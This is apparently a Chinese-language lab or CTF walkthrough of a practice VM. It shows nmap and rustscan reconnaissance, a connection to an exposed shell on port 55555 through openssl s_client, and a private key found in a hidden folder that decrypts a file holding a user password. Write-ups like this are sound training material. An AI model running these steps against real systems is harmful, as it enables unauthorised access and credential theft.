

主机发现

```
└─(root@kali)-[/home/kali]
└─# nmap -sn 10.241.108.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-01 18:06 CST
Nmap scan report for 10.241.108.43
Host is up (0.0070s latency).
MAC Address: 4E:20:31:25:4A:3C (Unknown)
Nmap scan report for 10.241.108.62
Host is up (0.0013s latency).
MAC Address: 08:00:27:E8:5C:CB (PCS Systemtechnik/Oracle VirtualBox
virtual NIC)
Nmap scan report for 10.241.108.72
Host is up (0.15s latency).
MAC Address: 98:2C:BC:40:09:7F (Intel Corporate)
Nmap scan report for 10.241.108.212
Host is up (0.00052s latency).
MAC Address: 30:E3:A4:48:AC:29 (Unknown)
Nmap scan report for 10.241.108.201
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 11.63 seconds
```

靶机ip: 10.241.108.62

端口扫描-信息收集

看佬们的wp发现一个新工具 Rustscan，这次试了一下

```
└─(root@kali)-[/home/kali/tmp]
└─# rustscan -a 10.241.108.62 -- -A
.----. .-. .-. .----.----. .----. .----. .---. .-. .-.
| {} }| {} |{ {} {} _ _ _ {} {} _ / _ _ } / {} \ | `| |
| .-. \| {} _| .-. } } | | .-. } } \ _ _ } / ^ \ \| \ |
`_ _ `'_ _ `-----' `-----' `'_ _ `-----' `-----' `'_ _ `'_ _
The Modern Day Port Scanner.
-----
```

```
: http://discord.skerritt.blog      :  
: https://github.com/RustScan/RustScan :  
-----
```

With RustScan, I scan ports so fast, even my firewall gets whiplash 🦁

```
[~] The config file is expected to be at "/root/.rustscan.toml"  
[!] File limit is lower than default batch size. Consider upping with  
--ulimit. May cause harm to sensitive servers  
[!] Your file limit is very small, which negatively impacts RustScan's  
speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.  
Open 10.241.108.62:22  
Open 10.241.108.62:80  
Open 10.241.108.62:55555  
[~] Starting Script(s)  
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on  
ip 10.241.108.62  
Depending on the complexity of the script, results may take some time  
to appear.  
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-01 21:30 CST  
NSE: Loaded 157 scripts for scanning.  
NSE: Script Pre-scanning.  
NSE: Starting runlevel 1 (of 3) scan.  
Initiating NSE at 21:30  
Completed NSE at 21:30, 0.00s elapsed  
NSE: Starting runlevel 2 (of 3) scan.  
Initiating NSE at 21:30  
Completed NSE at 21:30, 0.00s elapsed  
NSE: Starting runlevel 3 (of 3) scan.  
Initiating NSE at 21:30  
Completed NSE at 21:30, 0.00s elapsed  
Initiating ARP Ping Scan at 21:30  
Scanning 10.241.108.62 [1 port]  
Completed ARP Ping Scan at 21:30, 0.09s elapsed (1 total hosts)  
Initiating Parallel DNS resolution of 1 host. at 21:30  
Completed Parallel DNS resolution of 1 host. at 21:30, 0.08s elapsed  
DNS resolution of 1 IPs took 0.08s. Mode: Async [#: 3, OK: 0, NX: 1,  
DR: 0, SF: 0, TR: 1, CN: 0]  
Initiating SYN Stealth Scan at 21:30  
Scanning 10.241.108.62 [3 ports]  
Discovered open port 80/tcp on 10.241.108.62  
Discovered open port 22/tcp on 10.241.108.62
```

```
Discovered open port 55555/tcp on 10.241.108.62
Completed SYN Stealth Scan at 21:30, 0.03s elapsed (3 total ports)
Initiating Service scan at 21:30
Scanning 3 services on 10.241.108.62
Stats: 0:01:30 elapsed; 0 hosts completed (1 up), 1 undergoing Service
Scan
Service scan Timing: About 66.67% done; ETC: 21:32 (0:00:45 remaining)
Stats: 0:01:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service
Scan
Service scan Timing: About 66.67% done; ETC: 21:32 (0:00:48 remaining)
Stats: 0:01:40 elapsed; 0 hosts completed (1 up), 1 undergoing Service
Scan
Service scan Timing: About 66.67% done; ETC: 21:32 (0:00:50 remaining)
Completed Service scan at 21:33, 162.73s elapsed (3 services on 1
host)
Initiating OS detection (try #1) against 10.241.108.62
NSE: Script scanning 10.241.108.62.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:33
Completed NSE at 21:33, 0.27s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:33
Completed NSE at 21:33, 1.16s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:33
Completed NSE at 21:33, 0.00s elapsed
Nmap scan report for 10.241.108.62
Host is up, received arp-response (0.0010s latency).
Scanned at 2026-05-01 21:30:24 CST for 165s
```

PORT	STATE	SERVICE	REASON	VERSION
22/tcp	open	ssh	syn-ack ttl 64	OpenSSH 10.0 (protocol 2.0)
80/tcp	open	http	syn-ack ttl 64	Apache httpd 2.4.66

((Unix))

```
|_http-title: Whitelabel Error Page
| http-methods:
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.66 (Unix)
55555/tcp open  ssl/unknown syn-ack ttl 64
|_ssl-date: TLS randomness does not represent time
```

```
| ssl-cert: Subject:
commonName=localhost/organizationName=Maven/stateOrProvinceName=State/
countryName=US/localityName=City/organizationalUnitName=Proxy
| Issuer:
commonName=localhost/organizationName=Maven/stateOrProvinceName=State/
countryName=US/localityName=City/organizationalUnitName=Proxy
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-26T07:20:48
| Not valid after: 2036-02-24T07:20:48
| MD5: 2c76:e6b1:965f:a05f:ed53:8a14:1d60:e6c3
| SHA-1: 4ec1:5a4c:7082:c3bb:2d29:7ac2:66be:2aa9:0cec:2628
| -----BEGIN CERTIFICATE-----
| MIIFoTCCA4mgAwIBAgIUVLyuh/l5EdN2c47Y0L//ePAO7GYwDQYJKoZIhvcNAQEL
| BQAwYDELMAKGA1UEBhMCVVMxMjEAMBgNVBAgMBVNB0YXRlMQ0wCwYDVQQHDARDaXR5
| MQ4wDAYDVQQKDAVNXXZlbjEOMAwGA1UECwwFUHJveHkxEjAQBgNVBAMMCWxvY2Fs
| aG9zdDAeFw0yNjAyMjYwNzIwNDhaFw0zNjAyMjYwNzIwNDhaMGACzAJBgNVBAYT
| AlVTMQ4wDAYDVQQIDAvtGF0ZTENMA5GA1UEBwwEQ2l0eTEOMAwGA1UECgwwFTWF2
| ZW4xDjAMBgNVBASMBVByb3h5MRIwEAYDVQQDDA1sb2NhbGhvc3QwggiMA0GCSqG
| SIb3DQEBAQUAA4ICDwAwggIKAoICAQDyLEQQUsAPSo6YTElEnKXxIQ6utctm6EVM
| 7AZKMB8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkXGTU9JQhc4Zk5KPYPgRQMw
| pLvZj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQBviUEMJM1ZhMfIlZh7reBx5GI+
| 6HvRVlD5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEyNp99aXQVoTGmPfVUOP8IejpBa
| DA/YD/1JMqiU0yxLVg48pNaNcItvPDJ63PuueXHXReTF47E+ly0uC1GPZJiVfmQR
| Y6M+Raws10gc12xEpbybU+ZKwXdXLbOESHf1HEFYaSLt/AsvhuS+U6A1S80WzcJD
| PMaa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMnrGu6nju0260eWvcyl7qZ
| Z/YEBguuNMs643fkxaDG9P323ZE4BmKevLA3b062Vmjd0AmvPTKFW2GY6AY1XdIP
| 9EHSePaTA1KgXaowUBybK+gn0FUWwjI6ngWLUQj0+nCinMjlgG/URYHPIybdYTBv
| PS2aQ18tYPKLCdoQNvWEhIYYKroKpfr3WHANuAySJfp50mcGz9p5EOTU0o0L0LSq
| C42zck1eWT/qLDppvJrrqxCS/x1k2Sp1kQx50ohnkwr0MtaNDFqm1HJDfnSGliHM
| GYSliYwgDwIDAQABo1MwUTAdBgNVHQ4EFgQU9/xnvtfBkD4TGxnNgjoDSQXG1tAw
| HwYDVR0jBBgwFoAU9/xnvtfBkD4TGxnNgjoDSQXG1tAwDwYDVR0TAQH/BAUwAwEB
| /zANBgkqhkiG9w0BAQsFAAOCAgEAu0VYZ8E3u0VBdnMrUQuGDFP6ZNGvyAmNMP84
| 2QxL8g8r8K5SNo/JHhBf8CkY2BJG15l01/Ic6g56DqzTsQjfmwQAjfnqVWyHwcp9
| KSj9XdE3V39Q01ZGgICStAW0n3TXAa1jRn+GHcz7SZyTB9jG0qh1aA0rAH6/Rsdf
| XBsBpesbeMAHhD2oJdMl45Bkl3dW8FruNP/CAde8vpPR0AQmsHy/2a5m7dcsCK39
| JgroLyhPJGFdHi698agrN5d1vNwzpfQRmu9Iw6Bk/0W5U8jLFYMZu+fK2rzA06o6
| 96GZumbchDHhsi7Ajoa+RYTEXqbyU9a2KDnm30ZC5R5WQY/d+BVnjRmefPWv8kqa
| 5gJ0FGGoYCMiR8PY0dpH9wKm4IwxsQAI0e3S2VuEaI6ceR07Yq/FS31addb+B3UjV
| pWm7+WDDjsEKXY7jxjqWk7Lq3Rh1bTMDR4fxFVhXLish3vQfDA8xSZrGCraqurwM
```

```
| AzjwR2b2GkKVauVgMJ/8W1kupoJAjr63JIhzmCz3Ciq9/uwgpLFqHhMn1ooBKToU
| rWXPT5PXKEFHODfP+uj9NP8aTxrevJ1SCX7e0S6U061J0Zjmk7jY+L6ke5b1KGiV
| 9NYsvoozjwwRKzAxR95V8TVCy4gNa5ViLG6FcXQ1hLDdfMfRTfuMrYvTtiqhWVvd
| TgrwK04=
|_-----END CERTIFICATE-----
| fingerprint-strings:
|   DNSStatusRequestTCP:
|     ^@^L^@^@^P^@^@^@^@^@^@^@^@
|     [?2004hsh-5.2$
|     [Jsh-5.2$
|   DNSVersionBindReqTCP:
|     [?2004hsh-5.2$ ^C
|     [?2004l
|     [?2004h
|     [?2004l
|     [?2004hsh-5.2$
|   GenericLines:
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|   GetRequest:
|     GET / HTTP/1.0
|     [?2004hsh-5.2$ GET / HTTP/1.0
|     [?2004l
|     GET: command not found
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|     [?2004l
|     [?2004hsh-5.2$
|   HTTPOptions:
|     OPTIONS / HTTP/1.0
|     [?2004hsh-5.2$ OPTIONS / HTTP/1.0
```

```
| [?2004l
| OPTIONS: command not found
| [?2004hsh-5.2$
| [?2004l
| [?2004hsh-5.2$
| [?2004l
| [?2004hsh-5.2$
| [?2004l
| [?2004hsh-5.2$
| Help:
| [?2004hsh-5.2$ HELP
| [?2004l
| HELP: command not found
| [?2004hsh-5.2$
| [?2004l
| [?2004hsh-5.2$
| Kerberos:
| ^C^B^A^B
| [?2004hsh-5.2$
| NULL, RPCCheck:
| [?2004hsh-5.2$
| RTSPRequest:
| OPTIONS / RTSP/1.0
| [?2004hsh-5.2$ OPTIONS / RTSP/1.0
| [?2004l
| OPTIONS: command not found
| [?2004hsh-5.2$
| [?2004l
| [?2004hsh-5.2$
| [?2004l
| [?2004hsh-5.2$
| [?2004l
| [?2004hsh-5.2$
| SSLSessionReq:
| [?2004hsh-5.2$ ^C
| [?2004l
| [?2004h
| TLSSessionReq:
| ^C^E^B
| TerminalServerCookie:
| ^C^@^@^@
```

```
|_      [?2004hsh-5.2$
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.95%T=SSL%I=7%D=5/1%Time=69F4AB01%P=x86_64-pc-
linux-gn
SF:u%r(NULL,10,"\x1b\[\?2004hsh-5\.2\$\x20")%r(GenericLines,7C,"\x1b\
[\?20
SF:04hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-
5\.2\$\x20\r\n\x1b\
SF:\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?
2004hsh-5
SF:\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-
5\.2\$\x20")%r(GetRequest,B
SF:C,"GET\x20/\x20HTTP/1\.0\r\n\r\n\r\n\r\n\r\n\x1b\[\?2004hsh-
5\.2\$\x20GET\x
SF:20/\x20HTTP/1\.0\r\n\x1b\[\?
2004l\rsh:\x20GET:\x20command\x20not\x20fou
SF:nd\r\n\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-
5\.2
SF:\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?
2004l\r\
SF:x1b\[\?2004hsh-
5\.2\$\x20")%r(HTTPOptions,C8,"OPTIONS\x20/\x20HTTP/1\.0
SF:\r\n\r\n\r\n\r\n\r\n\x1b\[\?2004hsh-
5\.2\$\x20OPTIONS\x20/\x20HTTP/1\.0\r\n
SF:\x1b\[\?2004l\rsh:\x20OPTIONS:\x20command\x20not\x20found\r\n\x1b\
[\?20
SF:04hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-
5\.2\$\x20\r\n\x1b\
SF:\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?
2004hsh-5
SF:\.2\$\x20")%r(RTSPRequest,C8,"OPTIONS\x20/\x20RTSP/1\.0\r\n\r\n\r\n
\r\n
SF:\x1b\[\?2004hsh-5\.2\$\x20OPTIONS\x20/\x20RTSP/1\.0\r\n\x1b\[\?
2004l\rsh
SF:h:\x20OPTIONS:\x20command\x20not\x20found\r\n\x1b\[\?2004hsh-
5\.2\$\x20
SF:\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-5\.2\$\x20\r\n\x1b\[\?
2004l\r\x1b\[\?
```

```
SF:2004hsh-5\.\2\$\x20\r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-
5\.\2\$\x20")%r(RP
SF:CCheck,10,"\x1b\[\?2004hsh-
5\.\2\$\x20")%r(DNSVersionBindReqTCP,3E,"\x1b
SF:\[\?2004hsh-5\.\2\$\x20^C\x1b\[\?2004l\r\x1b\[\?2004h\x1b\[\?
2004l\r\r\
SF:n\x1b\[\?2004hsh-
5\.\2\$\x20")%r(DNSStatusRequestTCP,3A,"\^@\^L\^@\^@\^P
SF:\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\x1b\[\?2004hsh-5\.\2\$\x20\x1b\[\H\x1b\
[Jsh-5
SF:\.\2\$\x20")%r(HeLp,67,"\x1b\[\?2004hsh-5\.\2\$\x20HELP\r\n\x1b\[\?
2004l\
SF:rsh:\x20HELP:\x20command\x20not\x20found\r\n\x1b\[\?2004hsh-
5\.\2\$\x20\
SF:r\n\x1b\[\?2004l\r\x1b\[\?2004hsh-
5\.\2\$\x20")%r(SSLSessionReq,3B,"\x1b
SF:\[\?2004hsh-5\.\2\$\x20^C\x1b\[\?2004l\r\x1b\[\?2004h\x1b\[\C\x1b\
[\C\x1b
SF:\[\C\x1b\[\C\x1b\[\C\x1b\[\C\x1b\[\C\x1b\
[C")%r(TerminalServerCookie,18,"\^C
SF:\^@\^@\^@\x1b\[\?2004hsh-
5\.\2\$\x20")%r(TLSSessionReq,8,"\^C\^E\^B\r\n"
SF:)%r(Kerberos,1A,"\^C\^B\^A\^B\x1b\[\?2004hsh-5\.\2\$\x20\x07\x07");
MAC Address: 08:00:27:E8:5C:CB (PCS Systemtechnik/Oracle VirtualBox
virtual NIC)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik
RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS: SCAN(V=7.95%E=4%D=5/1%OT=22%CT=%CU=36438%PV=Y%DS=1%DC=D%G=N%M=08002
7%TM=
OS: 69F4AB95%P=x86_64-pc-linux-
gnu)SEQ(SP=100%GCD=1%ISR=108%TI=Z%CI=Z%II=I%T
OS: S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW
7%O5=
```


OS:M5B4ST11NW7%06=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%0=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%
S=0%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W
=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%D
FI=N%
OS:T=40%CD=S)

Uptime guess: 31.330 days (since Tue Mar 31 13:37:44 2026)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=256 (Good luck!)

IP ID Sequence Generation: All zeros

TRACEROUTE

HOP	RTT	ADDRESS
1	1.02 ms	10.241.108.62

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 21:33

Completed NSE at 21:33, 0.00s elapsed

NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 21:33

Completed NSE at 21:33, 0.00s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 21:33

Completed NSE at 21:33, 0.00s elapsed

Read data files from: /usr/share/nmap

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 166.39 seconds

Raw packets sent: 26 (1.938KB) | Rcvd: 20 (1.538KB)

我们直接ssl登录上去

```
(root@kali)-[/home/kali/tmp]
└─# openssl s_client -connect 10.241.108.62:55555 -quiet
Connecting to 10.241.108.62
Can't use SSL_get_servername
depth=0 C=US, ST=State, L=City, O=Maven, OU=Proxy, CN=localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 C=US, ST=State, L=City, O=Maven, OU=Proxy, CN=localhost
verify return:1
sh-5.2$ ls /home
ls /home
mav1234  qc2000  terra536
sh-5.2$ ls
ls
journal  user.txt
sh-5.2$ cat journal
cat journal
I've encrypted my secret with my key. No one else can read it now.
It's safely hidden away:)
```

这就直接拿到了user-shell，并且有提示说 用密钥加密了秘密
我们找一找有没有隐藏文件：

```
sh-5.2$ ls -a
ls -a
.          .bash_history  .ssh          user.txt
..         .local         journal
sh-5.2$ cd .local
cd .local
sh-5.2$ ls
ls
maven.meta  ssl.pem
sh-5.2$ cat maven.meta
cat maven.meta
F s
p aWaL2 'lmss*0C$1q:4(##VNeGI  D0f4/
```

```
sh-5.2$ cat ssl.pem
cat ssl.pem
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQDyleQQUsAPSo6Y
TElEnKXxIQ6utctm6EVM7AZKMB8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkX
GTU9JQhc4Zk5KPYgRQMwpLvZj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQBviUEMJ
M1ZhMfIlnZh7reBx5GI+6HvRVLD5Xg73zFdvj+JLX9QRLaUWKIEs35wwEyNp99a
XQVoTGmPfVUOP8IejpBaDA/YD/1JMqiUOyxlvG48pNaNcItvPDJ63PuueXHXReTF
47E+ly0uClGPZJiVfmQRY6M+Raws10gc12xEpbybU+ZKwXdXLb0ESHf1HEFYaSLt
/AsvhuS+U6A1S80WzcJDPMaa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMn
rGu6nju0260eWvcyl7qZZ/YEbguuNMs643fkxaDG9P323ZE4BmKevLA3b062Vmjd
0AmvPTKFW2GY6AY1XdIP9EHSePaTA1KgXaowUBybK+gnOFUWwjI6ngWLUQj0+nCi
nMjlgG/URYHPIybdYTBvPS2aQ18tYPKLCdoQNvWEhIYYKroKpfr3WHANuAySJfp5
OmcGz9p5E0TU0o0l0LSqC42zck1eWT/qLDppvJrrqxCS/x1k2SpLkQx50ohnkwr0
MtaNDFqm1HJDfnSGliHMGYSliYwgDwIDAQABaoICAEfsC84nKsid229uVt7f7xdy
LK9COV92iG2JIIuHIPZHIPU0ZSL4ZTzNCRS2NSFUJxcgFIqu4ShJvA9tkXv0VEkiv
nsVizq68p3h5rzSPP09ggmctMiEWJknxh0Hs1F35qvcL0xJo75uHHokQzpCcxWW/
tyEcaYp7I2HxfhyQEgwNhjSUQmxSZc7hR7gbv4VmTgtEyL1XVps9ZayeHedRmI6y
Hqgt4Tk8HbKFFwGBpCBaw77HWJ9nB2uVmANxlfXSDEl/UaPmYAlqsKy3mKqtGfkn
4/026MKSks6FoF1GNpTtE7Q1En6NdR76LDLcb3IUAXtjBuBWCKFcZTMA0KdfrgX
udJXhZv2gB/G/GNgemkHso0+KVDUmNilA9M2mCH1kZndQXb+EJreCIILnex0+7/B
f2JG2SMZdIwB08Rqr5rGvyNNNte+H7Pk/2CsHk0xJQdcuCYAIgV0WuDE3GJboDzY
rqKB4mpM3jgrXzCEKsIKLib0dntGY8lZl1xZ5nvF5zAjwASKEI+9heo5k5wx9ual
L/C0jca+zBlfH7P05JkPj+Lf53n0+xVthNAN0G4IoBRrknxQhK+mh0fq/gE4F31E
RwZZ2PKRciVlaIH7XPPg9FSJEqn7xWiKzWo0CeXdkN/dDatY38UBqToTU3xQbmMh
zpy9hbFJx6BI5/QtyzMZAoIBAQD9oHjRsSTOen3NoAkkD/SKbSk73wsNsQWIcxIa
1JbTlutoHPgr0DA+nk6Kn//1VDBq1Bflv1qJeEWRMn5z4ACKpDTZcm42SsaFS/Hl
ONk16Q0JYZ+XRJqBz/c776j00mSKqtk0QvfXP2u6BQQAMG3J79odo69yRjHGWNcE
```

Lx+PGHVJ62loOMFW8Nxq7l8qqAX0jTX/Jfoa4AimHPNDD1fuPwLzoels1CFmvirin
ncDzGRdkaW6Z22DiKMXcpMR8s6IKKYz9yhy3JbZqxVcjKOGFmLQz2krZ/XD0xa4P
m4+/VMTXrXbRQhz5KAonoKHxkSuHk562Le0t3a5WfIbfMTW1AoIBAQD02VSq+ka6
yIZuRA112l+j010xgCWfs7Cj73cIAX9C10wPmIGqvqrw9Dy5NQCZnJw1S5f4fU+
STY87KIm9vkV/U+8BkRxfTWxYahHV581HwXNHci7YkuSMZhjrqi43J1Q9l4+pK97
8nLGS1pe2wL4bnK0NtUEDpD0qycHaKVoSj2MsvTj1M/cXb84AihZ+2P3x9GCWu8L
n01zGMg4ZEgenuPl1jYyti2hvKDmItNtYAepW7jXJAPUK057PVwoiBtIF3xF8iq4u
iVdeCk8BGIIItThpgd5WSS9g27DjM7+ILsCqIoWT3Pzs1Dm8kScBqXBwpjSZyecJ0
LWArS0w0WNkzAoIBAQDcoaNYruQY5n/Xx7cL8wFFBi8PkTj5YRwyFgAS7QqD6E7C
lCjJXEkLwAUNHKC6FtHDrNtZFjw5SDIkXCuau6tc7/m1i5EKk8PcozM7t1dLSV21
PgJpwdkyweoN7q8oPj/GTVdiy6j0S4x4FvLjAz40pCM3E3SFUUDtjc0GK8QLZB5r
/mkErBKsgf0M3G5XGjGMCueFHNfUXb3IW3jWxls0uwXjUN9Rt7uSuC1wU9FM6G/r
/rejCi9erh9pkMAIxu9YLcsj35VZUWo9uYvS3zZIVI22adghiBKBHYAMvcOvqpt0
D+1DnmK78DPdQyRm9TdLyoQPcSZZdvW48L0XHaTdAoIBAB8cKhTbXfdHmUUTYfxW
FXJeNOI8ckCs9gpkhyQb8YbYVcvWcVAVk2oVpEvoZU00zp+lhphqPOXgGYMeMfAv
ezCfEe17AmFFHnheRyphaLowKeWI/kNI1v9JS+qGetgst9RcqVbeR+nAwXK0inn4
6+Sy691D/EbarvJXEmSJdMRc8aXymPUW2DNjIlKRORB+8601drxQ0RCJm4UXQRF
QaCaYayHTjWdTij5tZvoG7PFcof/Flhmxbu6HZCMP53xLehPEoK3gDARhS10tAEY
oxmsjc9qAlgnSN6ZnxHy/M6tYIohr5l2sEgqgFaLBey/TVi+NX9gFyP5y/LUR0Kh
yV8CggEAVbD0wfhaubtIUaoqrgv3fL8D53a0LD0meWjmWnX7q5K/qja/q0XQJzSV
LlqkScZ8fFr2a9ejiEjFQiWPJmEPyg3oCI/6gDk2iHNSD8HCLcuBToe4be86vmGL
28qwZ+oYMJ3u1pcL3VnM97v6awVG8T1GHFDLbUZonVh/09qj0/Z1iNj96NSGXx9
t5NsctBqNuWtwlgMmC+vBNVmqwg40xAeB0pyrrkeY72C0pjz33TAm/UMVEzaq7j0
7y4w1VxN0woUfwRirq+0uVEXCvfP5Xa9U9YQfo6DANrj2pEsUnZVZ0W0iqzUMBhm
THu1n0eMB4vEAtMz7uFtRkDCDCOPiw==

-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----

MIIFoTCCA4mgAwIBAgIUVLyuh/l5EdN2c47Y0L//ePA07GYwDQYJKoZIhvcNAQEL
BQAwYDELMAKGA1UEBhMCVVMxDjAMBgNVBAGMBVN0YXRlMQ0wCwYDVQQHDARDaXR5
MQ4wDAYDVQQKDAVNyXZlbjEOMAwGA1UECwwFUHJveHkxZjAQBgNVBAMMCWxvY2Fs
aG9zdDAeFw0yNjAyMjYwNzIwNDhaFw0zNjAyMjYwNzIwNDhaMGACzAJBgNVBAYT
A1VTMQ4wDAYDVQQIDAvtDGF0ZTENMA5GA1UEBwwEQ2l0eTEOMAwGA1UECgwFTWF2
ZW4xDjAMBgNVBAsMBVByb3h5MRIwEAYDVQQDDA1sb2NhbGhvc3QwgGIIiMA0GCSqG
SIb3DQEBAQUAA4ICDwAwggIKAoICAQDy1EQQUsAPSo6YTE1EnKXxIQ6utctm6EVM
7AZKMB8FpkRymjIwHXnchsIClpzxVnone92ZP8APFhkXGTU9JQhc4Zk5KPYgrQMw
pLvZj8vqM5b3Vr8/3K7pAeUW9b2cB6deg28AQBviUEMJM1ZhMfIlNzh7reBx5GI+
6HvRVLD5Xg73zFdvj+JLX9QRLEaUWKIEs35wwEyNp99aXQVoTGmPfvUOP8IejpBa
DA/YD/1JMqiU0yx1Vg48pNaNcItvPDJ63PuueXHXReTF47E+ly0uC1GPZJiVfmQR
Y6M+Raws10gc12xEpbybU+ZKwXdXLb0ESHf1HEFYaSLt/AsvhuS+U6A1S80WzcJD
PMaa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMnrGu6nju0260eWvcyl7qZ
Z/YEbguuNMs643fkxaDG9P323ZE4BmKevLA3b062Vmjd0AmvPTKFW2GY6AY1XdIP

```
9EHSePaTA1KgXaowUBybK+gnOFUWwjI6ngWLUQj0+nCinMjlgG/URYHPIybdYTBv
PS2aQ18tYPKlCdoQNvWEhIYYKroKpfr3WHANuAySJfp50mcGz9p5E0TU0o0L0LSq
C42zck1eWT/qLDppvJrrqxCS/x1k2SplkQx50ohnkwr0MtaNDFqm1HJDfnSGliHM
GYSliYwgDwIDAQABo1MwUTAdBgNVHQ4EFgQU9/xnvtfBkD4TGxnNgjoDSQXG1tAw
HwYDVR0jBBgwFoAU9/xnvtfBkD4TGxnNgjoDSQXG1tAwDwYDVR0TAQH/BAUwAwEB
/zANBgkqhkiG9w0BAQsFAAOCAgEAu0VYZ8E3u0VBdnMrUQuGDFP6ZNGvyAmNMp84
2QxL8g8r8K5SNo/JHhBf8CKY2BJG15L01/Ic6g56DqzTsQjfmwQAjfnqVWyHwcp9
KSj9XdE3V39Q01ZGgICStAW0n3TXAa1jRn+GHcz7SZyTB9jG0qh1aA0rAH6/Rsdf
XBsBpesbeMAHhD2oJdMl45Bkl3dW8FruNP/CAde8vpPR0AQmsHy/2a5m7dcsCK39
JgroLyhPJGFdHi698agr5d1vNwzpfQRmu9Iw6Bk/0W5U8jLFYMZu+fK2rzA06o6
96GZumbchDHhsi7Ajoa+RYTEXqbyU9a2KdNm30ZC5R5WQY/d+BVnjRmefPWv8kqa
5gJ0FGoYCMiR8PY0dpH9wKm4IwxsQAI0e3S2VuEaI6ceR07Yq/FS31addb+B3UjV
pWm7+WDDjsEKXY7jxjqWk7Lq3Rh1bTMDR4fxFVhXLish3vQfDA8xSZrGCRaqrwM
AzjwR2b2GkKVaUVgMJ/8W1kupoJAjr63JIhzmCz3Ciq9/uwgpLFqHhMn1ooBKTou
rWXPT5PXKEFHODfP+uj9NP8aTxrevJ1SCX7e0S6U061J0Zjmk7jY+L6ke5bLKGiV
9NYSvoozjwwRKzAxR95V8TVCy4gNa5ViLG6FcXQ1hLDdfMfRTfuMrYvTtiqhWVvd
TgrwK04=
-----END CERTIFICATE-----
```

果然发现了一个加密文件和一个私钥文件
直接尝试用私钥解密

```
h-5.2$ openssl pkeyutl -decrypt -in maven.meta -inkey ssl.pem
openssl pkeyutl -decrypt -in maven.meta -inkey ssl.pem
MvxPf8yCB8lxXk5As
```

得到要密码，试了一下3个用户和root。最后发现就是当前用户的密码，不过也好可以ssh登录（我真受够了那个ssl的shell了，复制粘贴都不行。。。）

```
PS D:\Downloads> ssh mav1234@10.241.108.62 -p 22
